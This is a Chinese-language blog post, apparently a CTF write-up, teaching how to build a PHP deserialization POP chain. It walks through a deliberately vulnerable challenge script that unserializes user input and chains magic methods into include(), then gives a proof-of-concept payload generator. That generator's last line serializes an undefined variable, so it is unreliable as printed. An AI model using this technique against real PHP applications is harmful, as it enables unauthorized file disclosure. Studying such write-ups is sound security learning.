PHP_POP链

发布时间 2023-10-04 19:06:42作者: qianyuzz

POP链

审计

做一题简单的POP链的题目来学习一下POP链的构造。

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

阅读源码,题目告诉我们flag在flag.php中,那么如果需要获得flag,应该要先包含flag.php这个文件。

那就找找文件包含的函数,在源码中是Modifier这个类使用了文件包含include()函数,那调用这个include()的条件是调用append()这个函数,调用append()的条件又是触发__invoke()这个魔术方法,这个魔术方法的触发条件是把对象当成函数调用时会触发__invoke()中的内容;$var的值只需要赋值为flag.php就完成了包含。

继续往下审计,Show这个类中没有可以控制调用函数的地方,在Test这个类中可以找到有一个可以控制调用函数的地方;位于__get()魔术方法的内部,return$function()是一个变量,我们可以控制这个变量去调用Modifier这个类,这样就会触发__invoke这个魔术方法,$function()是由成员变成$p提供的,那么$p赋值成Modifier就可以了。

执行__get()魔术方法又是一个问了,继续查看有没有调用对象属性的代码;发现Show类中有一个调用对象属性的代码$this->str->source;我们只需要把$str赋值为一个对象,那么就这就是调用一个对象的source成员变量,这句代码又在__toString()魔术方法中;

寻找可以把对象当字符串输出的代码,就只能找到下方的__wakeup魔术方法中的echo $this->source,而__wakeup这个魔术方法的触发条件又是执行反序列化的时候调用。

总体的思路就这样子一步步反推出来,构成POP链。简化一下步骤就是:

  • 第一步:文件位于flag.php中,先包含这个文件。执行包含的条件是把对象当函数调用,去找哪里可以控制调用函数的代码。
  • 第二步:找到了可以控制调用函数的代码,但是执行这个代码需要去调用一个不存在的成员属性,又去找可以调用成员属性的代码。
  • 第三步:调用成员属性的代码需要当类被成字符串输出的时候才能执行,又去找哪里可以输出字符串。
  • 第四步:找到输出字符串的代码,代码需要反序列化的时候执行,那么结合题目最后我们需要传入一个序列化字符串;至此完成POP链构造的思路。
POP链的构造:

依旧使用反推法:

  • 先包含flag.php这个文件:在Modifier类中赋值为"flag.php";
  • 控制函数调用,函数调用的$function()是由Test成员变量$p提供的;对$p赋值为Modifier
  • 调用不存在的成员属性,只需要把Show中的$str赋值为Test
  • 执行上一步的条件是当前对象被当成字符串输出,那只需要把$source设为自己就行了
POC构造
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var = "flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$Mod = new Modifier();
$test = new Test();
$test -> p = $Mod;
$show = new Show();
$show -> source = $show;
$show -> str = $test;

echo urlencode(serialize($c)); #由于private属性反序列化后是带有无法显示字符的,所以需要url编码
?>